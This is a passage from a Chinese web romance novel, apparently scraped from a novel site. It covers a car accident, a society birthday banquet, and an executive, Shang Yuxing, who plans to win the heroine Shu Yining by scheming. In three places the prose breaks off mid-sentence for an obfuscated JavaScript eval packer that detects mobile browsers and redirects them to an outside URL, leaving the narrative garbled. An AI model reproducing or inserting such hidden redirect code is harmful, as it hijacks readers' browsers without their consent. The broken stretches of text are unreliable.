沈嘉树闭上嘴巴,不再问。 舒以宁自然不会与他提起自己和商聿行之间的麻烦事,但一离开科大,她就迫不及待找许夏天诉苦。 “他都看见我和弟弟在一块儿了,应该不至于再怀疑我了吧?” 许夏天叮嘱道:“你先好好开车,到家了再打给我,别又来个追尾追上商聿行的车。” 舒以宁心道哪有这么巧的事,嘴上回道:“怎么可能,我车技很好的好不好,我……” 砰—— 舒以宁:“……” 半分钟后,车窗半降,露出男人清隽冷漠的脸。 ——是商聿行。 8. 第 8 章 陈洲刚提的新车,自告奋勇要送商聿行去公司。他开惯了早晚高峰,一脚油门下去,没注意新通车的十字路口,直接被右侧开来的帕拉梅拉撞上了。 让右原则,根据交规,是他的全责。 “真不好意思啊,吓到你了。”陈洲下了车才发现对方就是沈嘉树的那位舒姐姐,他挠了挠头,解释:“这条路本来T字型,不知道什么时候南北通车了。人没事吧?” 舒以宁车头受损,问题不算大。陈洲副驾的车门变形得厉害,但气囊没弹出,问题也不大。 她笑道:“我也是跟着导航走,路不熟,都没注意跟上次走的不是同一条路线。” 商聿行轻启薄唇,声音淡淡的:“陈洲,你闯红灯了。” 陈洲这才发现,这个他常走的十字路口不知何时已经连红绿灯都装上了。他连忙又向舒以宁道歉了一番,为自己的疏忽大意。 陈洲拍摄了接触位置,之后,两人分别将车开到路边,等待交警与保险过来。 陈洲抱歉道:“耽误你时间了阿行,你看要不要麻烦司机过来接你?或者,我帮你打个车?” 他们才刚从学校开出来没几分钟,商聿行的司机应该尚未开远。 商聿行道:“不用,我陪你等一等。” 陈洲感到奇怪:“你不是有酒局?” 明明刚才还急着要走呢。 商聿行扯松领结,淡淡道:“不去了。” 陈洲只当是自己破坏了他的兴致,他转念一想,立马道:“好啊,果然是可去可不去的局,就这你还急匆匆撇下我饭都来不及吃完?” 商聿行浅笑,说:“给你赔罪,地点随你选。” ** 舒以宁把车开到路边,与陈洲停好的车前后排列。 她熄火,脸上挂上了痛苦面具。 舒以宁气呼呼地给许夏天发了条微信消息:[你个乌鸦嘴。] 许夏天回得极快:[请您明示,我的大小姐。] 许夏天:[乖巧.jpg] 舒以宁:[就在刚刚,我撞了商聿行朋友的车,他就在车上。] 许夏天:[6] 舒以宁:[好消息是,是他朋友全责。坏消息是,我撞的副驾驶,他坐在副驾驶。] 许夏天:[牛批。] 许夏天:[你完蛋了。] 巧合加巧合,说不通,再加上舒以宁前科太多,怎么看都像是处心积虑要和商聿行扯上点什么关系。 舒以宁自己很清楚这一点,求救:[快帮我想想,我要怎么打消他的疑虑] 她毫不怀疑,商聿行会在下一秒一个电话打出去,说一句—— 天凉了,该让舒家破产了。 舒以宁在车上躲了会儿,陈洲过来又和她道歉了一番,提议道:“天热,去我车上坐吧,我车撞得还好。” 舒以宁下车与他说话,刚要拒绝,商聿行也走了过来。 “车怎么样?”他的语气很淡。 她喉头一紧,简直不敢看他。 陈洲丝毫没觉察出他们俩之间的微妙气氛,说:“车头撞得有点烂,可惜了这么好的车,哎。” 商聿行看着舒以宁,话听上去像是问她,更像是问陈洲:“人还好么?” 陈洲:“可能有点吓到了,话都不怎么说了。” 舒以宁:“……” 偏偏,这个时候陈洲还要cue她:“舒姐姐,你有没有哪里不舒服?一定要和我说啊,我真的要内疚死了。” 舒以宁勉强朝他挤出一个笑:“真的没事。嗯……你朋友长得挺帅的。” ……! 她这张嘴……到底在胡说八道些什么啊啊啊啊! 她想假装不认识商聿行,以洗脱自己蓄意而为的嫌疑,可是脱口而出的这句话…… 舒以宁闭了闭眼,认命了。 商聿行一定是她舒以宁的命定大克星。 陈洲一听,当即大笑:“可不是嘛,我们上学那会儿追他的人可多了。人也很优秀,GPA常年第一呢。可惜你心有所属,不然,介绍给你当男朋友倒是不错。” 他当着两个当事人的面毫无顾忌地开玩笑,接着,向商聿行介绍舒以宁:“我学生的朋友,刚才烤肉店他们一起进来的,不知道你有没有留意。” 商聿行微微颔首,风轻云淡地看着舒以宁,没有拆穿她的刻意隐瞒。 舒以宁移开视线,避免与他进行目光接触。 陈洲没有多想,转过头来继续问舒以宁:“去我们车上歇一会儿吧?你这车……还是先熄火稳当点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128778|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舒以宁连声拒绝:“不用不用,我站外面等会儿好了。” 七月酷暑,虽然已经到了晚上,但天色还没大黑。所幸下午刚下过两阵骤雨,现在的温度不算高,路上还有习习凉风。 陈洲不好意思地挠了挠头,想起来:“我车上有水,我去拿两瓶。” 他转身一走,留下舒以宁单独面对着商聿行。 她只好转回头看他,在他浅淡的目光中,硬着头皮轻轻喊了一声:“行哥。” 商聿行:“嗯。” 他的西服外套已经脱掉了,只穿着白衬衣,袖口挽起一截,露出肌肉紧实的手臂。身形修长挺拔,如庭间松柏。许是因为在老同学面前,他整个人透着淡淡的松弛感,眉宇间与生俱来的凛冽也少了几分。 舒以宁默默挪开目光。 不管在他身上吃了多少次亏,她都不得不承认,这个男人身上有一种致命的吸引力。 她想了想,还是决定解释一下。 于是,舒以宁重新将目光上移,看着他,真诚说道:“行哥,我真的没有故意要引起你的注意。最近一连串的事情……都是意外,我也觉得很不可思议。” 她举起三根手指,补充道:“我发誓!” 商聿行略一颔首,“你不用紧张。” 他往前走了半步。 舒以宁下意识后退,后腰直接抵上车门。 商聿行抬了下唇角,垂眸:“怕什么?” 舒以宁感觉这一刻自己简直无处遁形。 她不敢再去看他,双眼一瞬不瞬地盯着马路边上的白实线,轻声答道:“怕行哥误会。” 过了一会儿,她听见他说:“你不是谈上新男朋友了?还怕我误会什么?” 闻言,舒以宁暗自松了一口气。 看来是刚才那番“秀恩爱”起了效果,至少目前看来,商聿行不认为她还能心有余力地对他存在什么不切实际的想法。 她渐渐绽出一个笑容,主动提起,想要进一步打消他的疑虑:“这才刚谈上不久,没想到在烤肉店约会竟然会遇到行哥您。我断断续续追了两个多月了,他一开始和我说不想在本科阶段谈恋爱,一直不肯答应呢。不过还好我脸皮厚,一直没放弃……嗯……精诚所至,金石为开。” 商聿行被她气笑了。 9. 第 9 章 一连追了两个多月了。 好一个“精诚所至,金石为开”。 她当初对他…… 甚至都没有两天这么久。 商聿行很好地克制住了情绪,以免让脸色太过难看。 舒以宁还在滔滔不绝,越说越起劲,脸上的笑容越发天真烂漫,言语神情无一不展现着她如今正沉浸在美好甜蜜的恋情之中。 商聿行看着有些碍眼,又不忍打断她。 他心里很清楚,他只要出声打断,她就会立马收起明媚如春色的笑容,恢复一副战战兢兢的模样。 商聿行有时候会想,如果当初他狠一狠心,一击到底,结局会不会就会不同。 事实上,他可以做到的,不是么? 只是他见不得她掉眼泪,所以那次舒跃章带着她来商盛道歉,他表面上不为所动,实际上早已让了步。以至于到后来嫌没意思,不愿意强迫她,甚至连提都没有提就放了手。 陈洲手里拿着三瓶水走回来,新奇道:“你们聊上了?看起来聊得很开心啊,要不加个微信当交个朋友?” 舒以宁笑容一顿,“……这就不用了吧。” 她适时闭上嘴巴,回忆自己刚刚是不是废话说太多了,有没有可能适得其反,引来商聿行的厌烦。 陈洲将水递给她,贴心地问:“需要帮忙拧开吗?” 他在大学做老师,学生中不乏女孩子,因此出于职业习惯,他对于和女孩日常接触方面足够谨慎。比如矿泉水,最好还是让对方自己拧开,以确保水是完好的。 “谢谢,我可以的。”舒以宁接了过来。 陈洲递给了商聿行一瓶,然后拧开剩下的那瓶矿泉水灌了一口,说:“刚刚你们在聊你和嘉树的事是吗?吃完饭怎么不在学校里逛一逛,情人坡的夜景还是不错的。” 他调侃道:“你别看他好像一直在拒绝你,他今天都愿意跟你出来吃烤肉了,足以说明你对于他来说绝对是特别的。” 一分钟前还在强行秀并不存在的恩爱的舒以宁:“……” 接着,她非常敏锐地听见商聿行发出一声很轻的嗤笑。 舒以宁:“……” 又聊了两句,保时捷4S店的工作人员和保险人员前后脚到了。 不久,交警也来了。 舒以宁终于得以解脱,断然拒绝了陈洲好心送她回家的提议,迅速从商聿行眼前消失。 唯恐多待一秒钟。 舒以宁走后,陈洲数落起商聿行来:“你说你,就不能和颜悦色点?人家姑娘看到你跟见到了阎王似的,活该你一直没对象啊。” 商聿行未有辩驳。 陈洲像上学时那样,用肩膀撞了撞他的肩膀,笑问:“是不是很漂亮?大美人吧?” 商聿行缓缓吐出一口气,淡然道:“一般。” 陈洲一脸震惊地打量他:“这还一般?” 商聿行转身往陈洲停在十米外的那辆雷克萨斯走去,“走了,送我回公司。” 陈洲骂骂咧咧地跟上去。 ** 舒以宁车祸的事,很快就传到了舒跃章耳朵里。 他不顾时差打越洋电话过来训她:“你这个暴脾气也不知道随了谁,以后不准开车了,我让小宋给你配个司机。” 舒以宁冤枉得要死:“对方全责好不好,我开车很规矩的!” 舒跃章冷笑:“上个月你追尾了商聿行,你以为我不知道?” 舒以宁:“……” 实不相瞒,我这次还是直直朝他的座位撞上去的呢。 舒跃章听她没了声响,终是叹了一口气,语重心长道:“以宁,爸爸就你这么一个女儿,只盼你能平安喜乐,一生顺遂。” 舒以宁心道,女儿你确实只有我一个,儿子外头不还有着一个么? 她想起宋正阳告诉她的事,徐徐开口:“爸爸,你真的爱我吗?” 电话那头蓦地静了一会儿。 一分钟后,舒跃章笑道:“你是我女儿,爸爸不爱你,还能去爱谁?” 舒以宁佯装撒娇:“你犹豫了这么久,肯定不够爱我。” 舒跃章说:“刚好在看会议纪要,爸爸不努力工作,怎么供得上你花钱如流水的好日子?对了,后天你白伯伯的生日宴别忘记了,该有的礼数不能缺。” 他提起别的事来转移话题,舒以宁没拆穿,应道:“知道啦知道啦。” “小宋到时候……” “不用他陪我去,你是不是想放他在我身边做你的眼线!”舒以宁先发制人,不满道:“我知道你喜欢他,想让他做你女婿,但我跟他之间真的没可能。” 舒跃章乐呵呵笑道:“胡说,人小宋才不会喜欢你这样儿的,一身臭毛病。” 话刚说完,他又叹道:“爸爸最近年纪大了,想了很多,兴许爸爸认为适合你的人确实只是爸爸的单方面完美想法。” 舒以宁记得最开始舒跃章想要撮合她和宋正阳的时候,对她说过——“小宋这人相当不错,品性好,能力很强,你们要是成了,我就能放心把舒住交到你们俩手上了”。 其实,舒以宁不是没有怀疑过,他到底有没有看出来宋正阳是她祖父的人。 舒以宁一个走神,听见舒跃章在喊她名字。 “啊?爸爸?” 舒跃章无奈道:“跟你说话呢,你在做什么?” “没做什么。” 舒跃章语重心长叮嘱:“别再去招惹商聿行了,这几年感情的事上,爸爸对你够纵容了吧?外头这么多花花草草,还不够你玩的?非得玩火是吧?” 舒以宁只好再度认认真真解释了一通,并再三发誓日后看到商聿行绝对绕道而走。 白家与舒家算是世交,早年舒以宁爷爷还在世的时候,两家频有走动。后来舒老爷子因病过世,没两年,舒以宁的母亲也离开了人世,再后来,舒奶奶改嫁去了港城,两家的关系就渐渐淡了下来。虽如此,但白家待舒以宁依旧比旁人多了一份亲厚。 舒以宁送上提前准备好了贺礼,是年初在嘉德拍卖会上拍到的徐悲鸿的画作。与舒父提前准备好的贺礼分开,贺词也准备了两份。 白祁年刚做过一场手术,大病初愈,一下子老了十岁。他精神恢复得还算不错,笑呵呵地招呼舒以宁。 他笑着关心了两句长辈的身体情况,而后开玩笑说:“可惜我这小儿子还没成年,不然啊,怎么也得弥补上我们两家的遗憾。” 当年舒以宁的母亲舒芃锦与白祁年是有婚约的,只是后来,舒芃锦随舒老爷子回乡祭祖,对同村的舒跃章一见钟情,这才有了后面的故事。 也正是因为如此,白家与舒家渐渐不常走动了。 舒以宁落落大方道:“那等四十年后,我再来给您贺大寿,咱们一起给小孩儿们点鸳鸯谱。” 白祁年听着舒心,抚掌大笑:“好,好,好。” 许夏天也在,她母亲与白祁年夫人是闺蜜,母女俩一道来贺寿。许母尽管离了婚,但在太太圈照旧混得风生水起。许夏天不喜欢跟着母亲交际,就找了个借口脱身,来跟着舒以宁。 二人与圈子里关系尚好的一些人依次寒暄,终于得空找了个角落歇一歇。 舒以宁提起:“王樾不是在群里说了会来?怎么没见着人?” 许夏天刚才恰好看到了:“跟着他哥交际呢,穿得人模狗样的。” 说曹操,曹操就到。 “哎,怎么说话着呢?谁人模狗样?” 王樾捏着香槟杯,突然从她们身后冒了出来。 许夏天被他吓了一大跳,转过头就看到了西装笔挺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128779|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王樾。 刚才进来的时候,王樾跟舒以宁前后脚到的宴会厅。他刚想跑上去,就被他那稳重威严的大哥用无声的眼神威慑住了。王樾只能亦步亦趋地跟在大哥身后,先向主人公贺寿,然后陪他穿梭在这个总那个总的熟面孔生面孔里敬酒问好。碰上有千金在侧的,在他大哥警告性的眼神下,他还要展示一下自个儿并不存在的绅士风度。 这回借口要上洗手间,才终于得空跑过来呼吸两口新鲜空气。 王樾喝了一口闷酒,郁郁道:“我哥带我出来相亲呢,说要趁今天这个机会,先带我在几家千金面前刷个脸。” 舒以宁讶然:“你这是要商业联姻?” 许夏天也十分惊讶,不解道:“你哥自己一大把年纪了不结婚,反而要给你先安排上?这你都能答应?” 王樾的大哥王荆可是比他大了整整十七岁,仔细算起来,今年四十有余。 “我能怎么办?”聊起这个,王樾就更加郁闷了,皱着一张娃娃脸大吐苦水:“我爸妈说了,我的婚姻大事一切由我大哥说了算。他就算要我嫁个男人,我也得嫁。” 许夏天凑过去瞧他脸色:“你爸妈真这么说??” “哦,后面那句是我自己加的。”王樾说完,立马愤愤瞪着许夏天:“这是重点吗?重点是一切都是,我,哥,说!了!算!” 许夏天:“那你离家出走呗,士可杀不可辱啊!” 舒以宁笑着拍了拍许夏天,“别说风凉话了,我怕他揍你。” 王樾倒是没怎么起情绪,长叹一声:“我大哥这次来真的,没想到我才二十六就要步入婚姻的坟墓了。他还问我是不是喜欢舒以宁,我说你也太看得起我了,人舒以宁能看得上我?” 舒以宁:“……” 许夏天:“……” 王樾自顾自继续说:“我大哥听完竟然冷笑了一声,说什么确实!” 许夏天好奇道:“那你有没有问他,如果你真想和以宁在一起,他同不同意?” 以她对王樾的了解程度,哪怕他对舒以宁的的确确没有半点意思,在那种情景下,他也绝对会打破砂锅问到底。 果不其然,王樾点点头,说:“问了啊。我哥没同意,他说舒以宁太漂亮了,不适合我。她那姓许的朋友倒是不错,如果我要娶你,他可以考虑。” 许夏天:“……” 妈的,好像莫名被内涵到了,好想骂句脏话。 舒以宁一言以蔽之:“你哥是看我风评不好,怕你吃亏。” 王樾一点不遮掩,实诚道:“这都被你猜对了?我哥说你要是玩我,就跟玩狗似的。” 舒以宁:“……” 许夏天:“……” 好了,是亲哥无疑了。 王樾滔滔不绝,一本正经地跟舒以宁说:“可我乐意啊,给自己喜欢的女人当狗怎么了?我喜欢她,我乐意不行?哦,给你当狗还是不行的,给夏夏当也不行,你俩不是我喜欢的类型。” 舒以宁抬手示意他可以结束了,“好了,这都是人,这些话你还是塞回肚子里去吧。光听你说,我都觉得丢人。” 她舒以宁纵横感情界这么多年,万花丛中过,哪一段不是谈得潇潇洒洒。王樾好歹从小到大都跟她一样儿,都不是什么正直的好人,但偏偏总觉得自己会在感情里处于劣势地位。要不是够了解他,舒以宁都要怀疑他是不是有什么特殊性.癖了。 不过好在,表面浪荡公子哥做派的王小少爷目前恋爱经历一片空白,还没有遇到能让他心甘情愿俯首称臣的人。 王樾受了她的嫌弃,立马反击:“丢人?还好吧……我觉得还是你对商聿行霸王强上弓那次比较丢人。”说完,他突然想起了什么似的,用夸张的语气说:“哎,商聿行还没来吗?该不会是怕你又要霸王强上弓?” 10. 第 10 章 舒以宁无奈开口:“我只是喝醉了亲了他一下,能不能不要说得跟我睡到了他似的?” 王樾上下打量了她一遍,笑嘻嘻地说:“我听你这话怎么跟很可惜似的?只是亲一下就差点把你家搞破产了,要是他真被你睡了,你确定你能承受得住?” 他不知道上个月月底,舒以宁差点又要触到商聿行逆鳞的事,开起玩笑来也就跟从前一样不管不顾。搁以往,舒以宁还会和他插科打诨几句拌拌嘴,今天就只是喝了口酒没说话。 许夏天当即转移话题,问道:“你哥为什么一直没结婚啊?我好像记得你什么时候提过一嘴,受过情伤?” 王樾顿时更来劲了,完全没工夫注意舒以宁神色不对。他压低嗓音神神秘秘道:“是啊,他那次喝的烂醉如泥,一直再喊一个女人的名字。我第二天问他,不是还被他揍了一顿?我后来偷偷摸摸问我哥美高的同班同学去了,你们猜怎么着?” …… 王樾不能久待,和她们聊了没多久的天就回到他大哥身边去了。 许夏天拉着舒以宁来到甜品台,旁边侍立的工作人员立马分别递了两个白瓷空碟给她们。 舒以宁道了谢,看着正挑着小蛋糕的许夏天,随口问:“你哥不来?” 许夏天:“他工作忙,我最近也很少跟他联系了。这边有碱水面包,我给你拿一个?要什么口味,红豆?” “不用,我这两天轻断食。”说着,舒以宁将手中的空碟放到处置台上。 许夏天上下打量了她一番,最后将目光定格在她纤细不堪一握的腰际,犹豫了下。 舒以宁睨了她一眼:“做什么?” “你这把腰握起来的时候肯定很带劲。”她已经忍不住开始想象舒以宁哭唧唧求饶的画面了。 作为多年好友,舒以宁一看她这副狗德性就知道她又在幻想什么少儿不宜的画面了:“……把你脑子那点黄色废料给我倒倒干净。” 许夏天一边吃着黑森林小蛋糕,一边兴致勃勃地说:“要我说,你这身段这样貌,肤白貌美大美人,纯纯就是为霸总文而生。哭唧唧的小美人,天天被欺负。” 舒以宁勾了下唇角,漫不经心道:“可惜了,我舒以宁天生就不是吃这碗饭的。” 她习惯了在感情中掌握主动权,从来都不是谁可以驾驭得了的。 “你何止不吃这碗饭啊,我看你都要成仙了。现在九十斤有吗?”许夏天一只手拿着碟子,另一只手摸了摸自己的小肚皮,“我都快一百一了。” “最近吃胖了点,九十五斤了。”舒以宁低头隔着小黑裙摸了摸许夏天的肚子,笑道:“我的干女儿好像确实又长大了一点。” 许夏天气呼呼打掉她的手,“这里没有你的干女儿,只有一肚皮可乐炸鸡和小蛋糕。” 舒以宁取了杯干白,高脚杯轻轻一晃:“跟我一起轻断食?” 许夏天立马闭麦,选择低头继续吃小蛋糕。她吃了一会儿,倏然想起:“对了,我听说周嘉皓回国了,你听说了吗?” 舒以宁刚要说关我什么事,就听见身后响起一道不大友善的声音。 “哟,这不是舒大小姐嘛,怎么没带新欢出席呀?” 是温琪冉,家里做日化的,多年来温舒两家在商场上一直都有些合作。她与舒以宁同龄,小时候上过同一个幼儿园,后来又上了同一所初中。 从小,就不太对付。 舒以宁慢悠悠转过身,朝她举了举酒杯:“多谢关心,下次一定。” 明眼人看到这里,碰一下酒杯也就过去了。偏偏,温琪冉不甘心就这么走了,于是再度阴阳怪气发难:“你那小妈怎么没来?也好让我们跟你一块儿学一学那点本事儿呐。” 毕竟圈子里谁都知道,当年舒家能让那个名不见经传的小演员进门,最主要原因还是舒以宁松了口。不过,据说小演员进门后,她与人家关系又变得十分一般。 想来,其中少不了见不得台面的龃龉。 跟人吵架的精髓就是,无论对方说什么,都不能破防。 破防的一方先输。 ——这是舒以宁总结出来的真理。 因此,舒以宁不咸不淡地笑着,缓缓开口:“先天条件不行,恐怕学得再努力也是徒劳无功。”说完,她不忘提醒一句:“做了颧骨内推?后期维护做得不够好,记得及时修复。” 温琪冉脸色微变,“你!” 许夏天忍不住一边挖黑森林吃,一边噗嗤笑出声。 温琪冉说不过舒以宁,转而上下扫了许夏天几眼,冷笑:“就知道吃。” 许夏天这就不开心了,据理力争:“我又不跟你抢吃的,你要吃自己拿就是了,难不成还偏偏惦记我盘子这块?” 温琪冉顿时气得牙痒痒,对着许夏天嗤笑:“秦家不要的东西,你今天又是以什么身份站在这里?” 舒以宁闻言,眸色冷了两分:“你倒是不怕下不了台。” 温琪冉闻言笑了起来,朝她举举高脚杯,“商聿行今天在呢,你敢么?” 仿佛有所感应似的,她话音刚落,不远处就响起一阵骚动。 舒以宁循声望去,看到了那个被簇拥在人群中央的男人。 映入眼帘的首先是一身挺括考究的蓝黑色私定西服,将修长挺拔的身形衬得极好。 颀长的脖颈与饱满凸起的喉结,流畅利落的下颌线条。 以及,禁欲冷淡的眸光。 舒以宁不敢多看,只一会儿,便依依不舍地收敛了目光。 以一口清酒润喉做掩饰。 温琪冉还在旁边喋喋不休地聒噪,不怀好意地笑着:“哎呀,没想到行哥还真来了呢。难得遇上行哥,以宁呐,要不咱们也过去敬上一杯?该有的分寸,总归是要有的。” 舒以宁掀起眼皮幽幽看着她,微微一笑:“我要是你,好歹得等修复好了脸上那点瑕疵再过去敬酒。” ** 在舒以宁这儿没讨着好,温琪冉只好收起尾巴回到刚与友人亲切交谈完的掌潇身边。 “你平白去招惹她做什么?”掌潇无奈地笑了下,徐徐道:“忘了上回BVLGARI晚宴她怎么怼你来着?不怕又被她怼得回不上话?” 上一次BVLGARI的晚宴她恰好没有时间去,但听圈子里关系相近的其他千金聊起过这事儿。 温琪冉脸上有些挂不住,但依旧逞强道:“哼,她敢么?今天商聿行在,她不夹着尾巴做人,难道还敢搞出动静来?” 掌潇叹道:“你就安生些,少跟她起冲突。跟个小孩儿似的,嘴上压过一头又能如何?” 温琪冉知道掌潇是为她好,她亲热地挽上掌潇的胳膊,直言不讳:“要我说,当初商聿行整她那会儿就不该收手,否则,我们哪会受她气?” “好了,别被人听了去,祸从口出。” ** 商聿行来得迟。 他穿了一身蓝黑色西装,身姿挺拔,下颚线在会场水晶吊灯的光芒照耀下显得格外精致锋利,衬得那张深邃的脸庞更英隽了两分。 众人簇拥着,白家人跟在他身侧说着话,他略一点头致意。 舒以宁收回依依不舍的目光,抿了口白葡萄酒,语气不大开心:“我猜掌潇跟温琪冉肯定又在笑话我了。” 许夏天捂嘴笑,说:“开心点,好歹这么多年,你是唯一一个跟商聿行有过‘故事’的人。” 舒以宁抬眸,弯了弯眉眼:“你说得不错。” 她与商聿行之间的恩怨纠葛十分简单—— 四年前,刚大学毕业的舒以宁年少不懂事,多喝了两杯。她在酒后对着商聿行大胆告白,甚至企图强吻他。此后,商聿行动用雷厉手段,不光命人断了她家公司的上下游供应链,更是连招标项目都压价抢,差点把她家公司给搞破产了。 好在她足够机智。在事情发生后迅速追上了圈子里一二世祖,以表明绝不敢对商大总裁再抱有半分非分之想,商聿行这才放了她一马。 “你说……”舒以宁压低嗓音大胆猜测:“他会不会喜欢男人?” 许夏天有些无言以对,过了一会儿才学着她的腔调,慢悠悠地评价:“我看你是皮痒。” 公司没了,她可就没法继续做她嚣张跋扈、四处留情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128780|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的舒大小姐了。 想到这里,舒以宁赶紧闭紧嘴巴。 另一边,掌潇与温琪冉上前敬酒。 掌潇举高酒杯,唇角笑容粲然:“行哥,好久不见,还没恭喜行哥麾下又添一枚虎将。” 商聿行也举了举酒杯,笑道:“我听蒋旬提过,你们一个导师。” 虽然掌潇进实验室时,蒋旬已经快要毕业去交大拿教职了,但他俩私底下关系一直不错。掌潇开起玩笑:“是呀,大师兄才到交大两年就被商总挖去工业界了,学术界痛失一名年轻学者。” 商聿行慢条斯理开口:“你大师兄到商盛也是进商盛科技的研究院,偏向具体项目的落地,不过,也不会落下学术。我们研究院有论文要求,相应的配套都跟得上,你尽管放心。” 掌潇见他如此认真,半点没有搭腔她玩笑话的意思,心里顿时有点不太好受。她只楞了稍纵即逝的一会儿,旋即漾起愈加甜美的笑容:“行哥,我敬您,您随意。” ** 应酬完回到公寓,已经过了午夜十二点。 商聿行单手扯松一丝不苟的领带结,径直走到恒温酒柜前拿了瓶威士忌。 他想到上个月做的那场梦,梦里是R&F人潮喧天的一楼卡座,舒以宁白皙剔透的面目在流转的晦暗灯光中显得蛊惑动人。她靠近他,坐在离他鼻息可闻的位置,靠上来就着他的手,将红唇贴上他手中的岩石杯。 梦里,她的声音很轻,夹杂在年轻人喧闹欢呼声中—— 喝完这杯酒,你可以跟我走么? 商聿行闭眼按了按眉棱骨,嘴角扯出一个冷笑。 他真是昏了头,才会把她对别的男人说过的话,代入到他自己头上来。 舒以宁。 舒以宁。 她今晚倒是沉得住气,连端着酒杯来问候一声的表面功夫都懒得做了。 怕是追人追到了兴头上,避他如蛇蝎。 商聿行五指箍着岩石杯,喉结滚动,灌下半杯微凉的威士忌。他将酒杯随手搁在茶几上,长指划开手机锁屏。 “总裁。”电话另一头,助理江路南毕恭毕敬地等待指示。 商聿行头往后靠,挨着沙发上沿,缄默稍许。话开口时已经转了心思:“陵水机场三期项目场景搭建文件发我邮箱。” 罢了,不过一个女人。 他还没下作到真要处心积虑去强扭不甜的瓜。 助理应是,迅速开口道:“航站楼及陆侧交通中心工程是基建组和应用组两个不同的项目组负责,许总监那边……” 落地玻璃窗外,一轮半月高悬清空,夜色融融。 半小时后,商聿行看完项目文件,放下平板。 他划开手机锁屏,拨通电话。 助理江路南原以为他是对机场项目有所指示,一接起电话就道:“总裁,我刚刚联系许总监后,正在整理一份补充文件,十分钟后可以发您邮箱。” 商聿行:“不急。” 接着,他低沉的声音在空旷的客厅中缓慢响起:“舒住方面,按原计划进行。” “好的,总裁。”助理多嘴问了一句:“世纪城的公寓是否需要提前摆放合身衣物,供舒小姐使用?” 商聿行长指轻点岩石杯杯口。 初步计划是下午得到消息后很快就制定下来的,但不到一小时,他又推翻了计划。 他的道德底线不容许他这么做。 但就在这个寂寞的长夜里,他容许自己将道德底线往下降一降。 不就是强扭的瓜么,不扭下来,谁又知道究竟甜与不甜? 江路南能坐上商聿行特助的位置,不能说面面俱到、滴水不漏,但向来都会提前做好准备以备不时之需。他尽职尽责汇报:“总裁,我已经提前让我们的人出去做了调查,确定舒小姐目前感情状态为单身。” 他的言下之意就是—— 总裁您不需要有额外的心理负担。 商聿行靠在沙发上,掌中转动着岩石杯,敛眸淡声道:“无妨。” 这次不管她是不是单身,有没有男朋友,他都势在必得。 11. 第 11 章 对于商聿行的谋划,舒以宁全然不知。 再一次遇到商聿行,是在她工作的西岸美术馆。 这日商聿行路过西岸,让司机停了车,特意下来看展。 江路南陪着他,观摩齐白石、张大千、林风眠、赵无极等三十八位中国艺术巨匠的巅峰之作。 这场绘画展的主题是中西方艺术交融的碰撞,聚集了海内外收藏家的珍藏。 前期舒以宁作为西岸美术馆这边的策展人,全程参与了这个项目。商聿行来观展时,她也正好在展厅内。 她一向喜欢假装和人来看展,混在其中,听一听打卡人与参观者们的评价。 舒以宁远远就看到了商聿行,她不可谓不惊讶,着实没想到他会有这个闲情逸致、出于非交际的目的纯粹来美术馆看展。他的身后跟着他的助理,身前是她的同事正为他讲解画作。 舒以宁躲都来不及,自然不可能凑上去和他打招呼。因此,赶忙趁着被他发现前,溜回了办公室。 半路撞见同事,她以要总结一下今天听到的评价为理由圆了过去。 当日停止入场后,馆长将舒以宁喊了过去。 “商盛集团旗下的商盛科技计划打造一个新的城市展厅,问我们这边提供能不能出人提供项目顾问。以宁,你这边要是没有什么问题,就代表馆里去对接一下?” 舒以宁微微一愣,问道:“商盛科技?他们为什么会来找我们合作?” 馆长道:“听说这个展厅项目很受当地政府重视,不单找了我们,还找了业内知名的策展人。” 当然,作为回报,商盛科技也不吝啬于给西岸提供强有力的资金与资源支持。 舒以宁直言无法参与这个项目:“我在这行资历尚浅,况且不是科班出身。” 最重要的一点,商盛科技可是商聿行进入商盛集团前一手创立起来的科技公司,她可不敢和他扯上什么关系,免得被他误会她是一而再、再而三地蓄意在他面前刷存在感。 馆长首先肯定了她的专业能力,接着开始试图说服她参与进这个项目里来,直到舒以宁面露难色:“馆长,我就和您说实话吧……其实商盛科技里有个高层,跟我有过一段。” 她撒了个无足轻重的谎。 馆长恍然大悟,她对舒以宁的感情观有所耳闻,不由感叹:“馆里一帮小姑娘不肯结婚就算了,恋爱也不肯谈一个,说什么喜欢一个人自由自在。你倒是好,一个接一个谈。” 馆长与她先生是从校园走到婚纱,相爱四十年,自然不太能理解现在的小年轻是怎么想的。 但她尊重舒以宁的想法。 舒以宁就这么躲过了这一遭,她又度过了两天不是和许夏天去别的场馆看展就是去科大找沈嘉树的日子,直到宋正阳传来一个令人难以置信的消息。 